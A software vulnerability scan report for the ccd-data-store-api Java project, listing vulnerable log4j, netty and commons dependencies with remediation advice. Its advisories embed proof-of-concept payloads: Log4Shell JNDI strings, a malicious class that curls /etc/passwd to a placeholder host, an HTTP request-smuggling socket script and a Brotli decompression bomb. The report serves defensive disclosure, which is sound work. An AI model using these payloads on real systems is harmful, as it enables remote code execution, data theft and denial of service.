Vulnerabilities

67 via 513 paths

Dependencies

271

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 67
  • 12
Severity
  • 4
  • 40
  • 30
  • 5
Status
  • 79
  • 0
  • 0

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.2.4.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

From log4j 2.15.0, JNDI LDAP endpoints are restricted to localhost by default.

PoC

When an application uses log4j to log user input, an attacker can exploit this vulnerability, by supplying a malicious string that the application logs - for example, ${jndi:ldap://someurl/Evil}. This causes the application to execute a malicious class supplied by an attacker’s LDAP server (someurl/Evil in this example).

For example, the vulnerability can be used to inject this malicious class into an application:

public class Evil implements ObjectFactory  {
   @Override
   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' https://someurl/upload");
       return  null;
   }
}

This causes the application to disclose the etc/passwd file on the system, and send it to a remote attacker.

Further Remediation Options

If upgrading the version is not possible, we strongly recommend to mitigate the vulnerability using one of these methods:

  • Remove JndiLookup.class from the class path (i.e: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. While not pertinent to log4shell, consider also removing JndiManager, JMSAppender and SMTPAppender if you are not using them, as there are unconfirmed reports they could be leveraged in similar attacks in the future.
  • Partial mitigation: disable lookups via system properties or environmental variables. If you use log4j >=2.10.0, you can set the system property LOG4J_FORMAT_MSG_NO_LOOKUPS or the environmental variable Dlog4j2.formatMsgNoLookups to true. (RCE is possible in some non-default Pattern Layout configurations that use a Context Lookup or a Thread Context Map pattern.)


Upgrading your JDK versions is not enough to mitigate this vulnerability in all circumstances, as it was proven that setting the com.sun.jndi.ldap.object.trustURLCodebase property to false is not enough.
For more remediation advice, please visit the Log4j Remediation Cheat Sheet post.

Note: org.apache.logging.log4j:log4j-api was originally deemed vulnerable, but Apache maintainers have since clarified that this only affects org.apache.logging.log4j:log4j-core.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.15.0 or higher.

Use this guide to scan your projects for the Log4Shell vulnerability.

References

critical severity

Deserialization of Untrusted Data

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.2.4.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. When using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.8.2 or higher.

References

critical severity
new

Incorrect Comparison

  • Vulnerable module: io.netty:netty-handler
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-handler@4.1.16.Final

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Incorrect Comparison in the IpSubnetFilterRule.compareTo() function. An attacker can gain unauthorized access by bypassing IPv6 subnet restrictions through incorrect masking of IP addresses.

Remediation

Upgrade io.netty:netty-handler to version 4.1.135.Final, 4.2.15.Final or higher.

References

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.2.4.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) if one of the following conditions is met:

  1. Logging configuration explicitly enables lookups – either by default (if using a version lower than 2.15.0) or manually by using %m{lookups} as formatMsgNoLookups is switched on by default as of version 2.15.0.
  2. Or uses a non-default Pattern Layout with Context Lookup where attackers can control input data via Thread Context Map (MDC),
  3. Or uses Logger.printf("%s", userInput) function where attackers can control the userInput variable.

A malicious actor is able to bypass the mitigation implemented in version 2.15.0 that limits JNDI lookups to localhost only: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}.

We recommend updating to version 2.16.0 which completely disables JNDI lookups by default. If upgrading is not an option, this issue can be mitigated in prior releases by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

PoC

In config:

<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>

In code:

ThreadContext.put("loginId", UserControlledInput);

History

This vulnerability was previously assigned a CVSS score of 3.7 (Low), and the impact was believed to be Denial of Service (DoS).

Furthermore, the advisory previously mentioned Thread Context Map patterns (%X, %mdc, or %MDC) as being vulnerable to this issue, but that has since been proven wrong.

On December 17, 2021 new information came to light, demonstrating that an Arbitrary Code Execution vulnerability still exists in version 2.15.0 of Log4j due to a bypass to the localhost-only lookup mechanism.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.16.0 or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpClientCodec component. An attacker can cause response desynchronization and potentially compromise the integrity and availability of HTTP parsing by sending crafted HTTP/1.1 pipelined requests that include a HEAD request and trigger the server to send 1xx responses. This can result in unsafe reuse of the socket and misinterpretation of response bodies.

Note:

This is only exploitable if HTTP/1.1 pipelining is used, a HEAD request is present in the pipeline, and the server sends 1xx responses.

PoC

    @Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: org.apache.commons:commons-lang3
  • Introduced through: org.apache.commons:commons-lang3@3.10, io.searchbox:jest@6.3.1 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.apache.commons:commons-lang3@3.10
    Remediation: Upgrade to org.apache.commons:commons-lang3@3.18.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.littleshoot:littleproxy@1.1.2 org.apache.commons:commons-lang3@3.10
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 org.apache.commons:commons-lang3@3.10
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-openfeign-core@5.0.1 io.github.openfeign:feign-form-spring@13.6 org.apache.commons:commons-text@1.13.0 org.apache.commons:commons-lang3@3.10

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the ClassUtils.getClass function. An attacker can cause the application to terminate unexpectedly by providing excessively long input values.

Remediation

Upgrade org.apache.commons:commons-lang3 to version 3.18.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: commons-fileupload:commons-fileupload
  • Introduced through: org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-openfeign-core@5.0.1 io.github.openfeign:feign-form-spring@13.6 commons-fileupload:commons-fileupload@1.5

Overview

commons-fileupload:commons-fileupload is a component that provides a simple yet flexible means of adding support for multipart file upload functionality to servlets and web applications.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling when processing multipart headers. An attacker can exhaust system resources by sending malicious requests with excessively large individual multipart headers.

Remediation

Upgrade commons-fileupload:commons-fileupload to version 1.6.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec@4.1.16.Final

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Lz4FrameDecoder component. An attacker can cause excessive memory allocation by sending specially crafted compressed data with manipulated header fields, leading to resource exhaustion and potential denial of service.

PoC

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Remediation

Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec@4.1.16.Final

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the parsing of chunk extensions in HTTP/1.1 messages with chunked encoding. An attacker can bypass HTTP request boundaries by sending specially crafted HTTP requests that exploit differences in how standalone newline characters are parsed between reverse proxies and the backend, potentially allowing them to smuggle additional requests.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.125.Final, 4.2.5.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the parsing of quoted strings within chunked transfer encoding extension values. An attacker can inject arbitrary HTTP requests into a connection by crafting chunk extensions containing carriage return or line feed bytes, leading to parsing discrepancies between the server and RFC-compliant intermediaries.

PoC

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.132.Final, 4.2.12.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling when parsed HTTP requests contain malformed Transfer-Encoding headers. An attacker can inject unauthorized HTTP requests by crafting a request with a Transfer-Encoding: chunked, identity header, which is incorrectly interpreted, allowing the attacker to smuggle additional requests through the connection.

PoC

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the BrotliDecoder.decompress function, which has no limit on how often it calls pull, decompressing data 64K bytes at a time. An attacker can exhaust system memory and cause application downtime by submitting specially crafted compressed input that triggers excessive buffer allocations.

PoC

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
    }
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.125.Final or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-handler
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-handler@4.1.16.Final

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the SslClientHelloHandler.decode() function. An attacker can cause excessive memory allocation by sending a specially crafted TLS handshake with a large handshake length value, leading to resource exhaustion and potential denial of service.

Remediation

Upgrade io.netty:netty-handler to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

